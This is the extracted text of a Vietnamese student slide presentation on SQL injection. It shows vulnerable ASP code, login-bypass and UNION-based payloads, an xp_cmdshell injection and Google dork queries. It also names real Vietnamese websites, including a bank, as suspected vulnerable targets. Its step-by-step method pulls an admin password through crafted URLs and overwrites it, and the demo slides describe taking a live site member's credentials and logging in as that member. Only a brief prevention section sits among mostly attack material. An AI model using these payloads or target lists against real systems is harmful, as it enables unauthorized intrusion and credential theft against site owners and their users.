50
Giáo Viên hướng dẫn: Phạm Văn Tính Thành Viên: Lâm Thế Diễn Trịnh Thái Long Hứa Văn Hiếu Nguyễn Minh Thành.

Sql injection bao cao it-slideshares.blogspot.com

Embed Size (px)

DESCRIPTION

more from http://it-slideshares.blogspot.com and japanese-zen-garden.blogspot.com

Citation preview

Page 1: Sql injection bao cao it-slideshares.blogspot.com

Giáo Viên hướng dẫn: Phạm Văn TínhThành Viên:

Lâm Thế DiễnTrịnh Thái LongHứa Văn HiếuNguyễn Minh Thành.

Page 2: Sql injection bao cao it-slideshares.blogspot.com

Nội dung trình bày: SQL Injection là gì? Các dạng tấn công bằng SQL

Injection Kỹ Thuật tấn công bằng sql

injection Cách phòng tránh Demo

Page 3: Sql injection bao cao it-slideshares.blogspot.com

SQL Injection là gì?SQL injection là một kĩ thuật tấn công lợi

dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp.

Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy.

Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.

Page 4: Sql injection bao cao it-slideshares.blogspot.com

Các dạng tấn công bằng SQL InjectionCó bốn dạng thông thường bao gồm:

vượt qua kiểm tra lúc đăng nhập (authorization bypass)

sử dụng câu lện SELECT sử dụng câu lệnh INSERT sử dụng các stored-procedures [2], [3]

Page 5: Sql injection bao cao it-slideshares.blogspot.com

Dạng tấn công vượt qua kiểm tra đăng nhập Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL

thao tác trên cơ sở dữ liệu của ứng dụng web. Thông thường để cho phép người dùng truy cập

vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu.

Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ:

Page 6: Sql injection bao cao it-slideshares.blogspot.com

Login.htm

<form action="ExecLogin.asp" method="post"> Username: <input type="text"

name="fUSERNAME"><br> Password: <input type="password"

name="fPASSWORD"><br> <input type="submit"> </form>

Page 7: Sql injection bao cao it-slideshares.blogspot.com

execlogin.asp <%

Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD")

strSQL = "SELECT * FROM T_USERS " & _ "WHERE USR_NAME=' " & vUsrName & _

" ' and USR_PASSWORD=' " & vPassword & " ' “

Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then

Response.Write "Invalid login." Else

Response.Write "You are logged in as " & objRS("USR_NAME")

End If Set objRS = Nothing %>

Page 8: Sql injection bao cao it-slideshares.blogspot.com

Bạn nghĩ nếu viết như thế đã an toàn chưa?Người dùng nhập chuỗi sau vào trong cả 2 ô

nhập liệu username/password của trang login.htm là: ' OR ' ' = ' .

Lúc này, câu truy vấn sẽ được gọi thực hiện là: SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''=''

Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.

Page 9: Sql injection bao cao it-slideshares.blogspot.com
Page 10: Sql injection bao cao it-slideshares.blogspot.com
Page 11: Sql injection bao cao it-slideshares.blogspot.com

Dạng tấn công sử dụng câu lệnh SELECT Để thực hiện được kiểu tấn công này, kẻ tấn

công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công.

Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này.

Page 12: Sql injection bao cao it-slideshares.blogspot.com

<% Dim vNewsID, objRS, strSQL vNewsID = Request("ID") strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." Set objRS = Nothing

%>

Page 13: Sql injection bao cao it-slideshares.blogspot.com

Thông thường, đoạn mã này hiển thị nội dung của tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi.

Tuy nhiên, nếu thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác ví dụ như: 0 OR 1=1

Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:

SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1

Page 14: Sql injection bao cao it-slideshares.blogspot.com

Hoặc là chúng ta có thể thêm câu lệnh sau: ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*)

Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa.

Nếu chúng ta thêm ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có thể liệt kê được tên tất cả các bảng dữ liệu.

Page 15: Sql injection bao cao it-slideshares.blogspot.com

Dạng tấn công sử dụng câu lệnh INSERT Chức năng không thể thiếu là sau khi đăng kí

thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.

Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three'). Nếu đoạn mã xây dựng câu lệnh SQL có dạng :

Page 16: Sql injection bao cao it-slideshares.blogspot.com

Dạng tấn công sử dụng câu lệnh INSERT(tt)<%

strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') “

Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." Set objRS = Nothing

%>

Page 17: Sql injection bao cao it-slideshares.blogspot.com

Dạng tấn công sử dụng stored-procedures Việc tấn công bằng stored-procedures sẽ gây

tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'.

Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell 'cmd.exe dir C: '.

Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.

Page 18: Sql injection bao cao it-slideshares.blogspot.com

Kỹ Thuật tấn công bằng sql injectionBước 1: Tìm kiếm mục tiêu.Bước 2: Kiểm tra chỗ yếu của trang webBước 3: Nhận data qua ‘database using ODBC

error message’Bước 4: Xác định tên của các column trong

tableBước 5: Thu thập các dữ liệu quan trọng.Bước 6: Xử lý kết quả tìm được

Page 19: Sql injection bao cao it-slideshares.blogspot.com

Tìm kiếm mục tiêuBạn có thể dùng các bất kỳ một search-engine

nào trên mạng như các trang login, search, feedback…

Bạn có thể “custome Search Engine” lại cho phù hợp với yêu cầu của bạn.

Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã html mới thấy rõ.<FORM action= Search/search.asp method=

post><input type=hidden name=A value=c></FORM>

Page 20: Sql injection bao cao it-slideshares.blogspot.com

Thực hiện câu lệnh search:inurl:php?id= site:com.vninurl:php?sid=site:cominurl:asp?id=site:co.uk

Page 21: Sql injection bao cao it-slideshares.blogspot.com

Đây là kết quả thu được

Page 22: Sql injection bao cao it-slideshares.blogspot.com

Các Trang Web nằm trong nhóm tình nghi

http://www.vsmc.com.vn/news_detail.php?id=19'http://www.toeic.com.vn/info/details.php?id=383'http://www.phanhoadigi.com.vn/list_product.php?

ID=1173&namecate=EOS'http://forum.key.com.vn/viewtopic.php?id=362http://www.biconsi.com.vn/index.php?id=36'http://www.vietphone.com.vn/download.php?

mode=download&id=19'http://thammyvienthanhbinh.com.vn/detail.php?id=19'http://www.voip.com.vn/download.php?

mode=download&id=28'

http://bidv.com.vn/advert.asp?id=36'http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27’http://www.galilcol.ac.il/page.asp?id=17’Ghi chú: không phải trang nào cũng tấn công được

Page 23: Sql injection bao cao it-slideshares.blogspot.com

Kiểm tra chỗ yếu của trang web

Bạn có thể điền thêm một số lệnh trên url, hoặc trên các from login, search, hoặc search để phát hiện lỗi.

Sau đây là một số cách thêm và phát hiện lỗi của nhóm mình:

Page 24: Sql injection bao cao it-slideshares.blogspot.com
Page 25: Sql injection bao cao it-slideshares.blogspot.com
Page 26: Sql injection bao cao it-slideshares.blogspot.com
Page 27: Sql injection bao cao it-slideshares.blogspot.com

Nhận data qua ‘database using ODBC error message’

Đây là bước quan trọng nhất và đòi hỏi nhiều kĩ thuật lẫn sự am hiểu về cơ sở dữ liệu.

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau:http://vitcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SHEMA.COLUMNS WHERE TABLE_NAME=‘admin_login’--

Page 28: Sql injection bao cao it-slideshares.blogspot.com

Out put:Microsoft OLE DB Provider for ODBC Drivers

error ‘80040e07’[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

Page 29: Sql injection bao cao it-slideshares.blogspot.com

Thu thập các dữ liệu quan trọng

Chúng ta phải xác định được các tên của các table và column quan trọng.

Chúng ta có thể lấy login_name đầu tiên trong table “admin_login” như sau: http://vitcon/index.asp?id=10 UNION SELECT TOP 1 login_name From admin_login—

Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là ‘aaa’.

Page 30: Sql injection bao cao it-slideshares.blogspot.com

Thu thập các dữ liệu quan trọng(tt)Sau đó dung tên user tìm được để tìm

password: http://vitcon/index.asp?id=10 UNION SELECT

TOP 1 password FROM admin_login where login _name=‘aaa’—

Bây giờ bạn sẽ nhận được password của ‘aaa’ là ‘bbb’.

Page 31: Sql injection bao cao it-slideshares.blogspot.com

Xử lý kết quả tìm đượcKhi bạn đã có tên của tất cả các column

trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.

Để thay đổi password của ‘aaa’ bạn có thể làm như sau:http://vitcon/index.asp?id=10 ;UPDATE ‘admin_login’ SET ‘password’ =‘ccc’ WHERE login_name=‘aaa’–

Hoặc bạn login trực tiếp vào và thực hiện dưới quyền user đó.

Page 32: Sql injection bao cao it-slideshares.blogspot.com

Cách phòng tránhCần có cơ chế kiểm soát chặt chẽ và giới hạn quyền

xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng.

Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít.

Loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi.

Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.

Page 33: Sql injection bao cao it-slideshares.blogspot.com

DEMOPhát hiện một trang web bị lỗi SQL Injection.

Mục tiêu của nhóm dùng các kĩ thuật tấn công SQL Injection tấn công vào cơ sở dữ liệu và lấy ra được Username password của một thành viên trang web đó.Và thực hiện đăng nhập thành công dưới quyền User đó.

Page 34: Sql injection bao cao it-slideshares.blogspot.com
Page 35: Sql injection bao cao it-slideshares.blogspot.com
Page 36: Sql injection bao cao it-slideshares.blogspot.com
Page 37: Sql injection bao cao it-slideshares.blogspot.com
Page 38: Sql injection bao cao it-slideshares.blogspot.com
Page 39: Sql injection bao cao it-slideshares.blogspot.com
Page 40: Sql injection bao cao it-slideshares.blogspot.com
Page 41: Sql injection bao cao it-slideshares.blogspot.com
Page 42: Sql injection bao cao it-slideshares.blogspot.com
Page 43: Sql injection bao cao it-slideshares.blogspot.com
Page 44: Sql injection bao cao it-slideshares.blogspot.com
Page 45: Sql injection bao cao it-slideshares.blogspot.com
Page 46: Sql injection bao cao it-slideshares.blogspot.com
Page 47: Sql injection bao cao it-slideshares.blogspot.com
Page 48: Sql injection bao cao it-slideshares.blogspot.com
Page 49: Sql injection bao cao it-slideshares.blogspot.com
Page 50: Sql injection bao cao it-slideshares.blogspot.com

Cảm Ơn Thầy và các Bạn đã lắng nghe!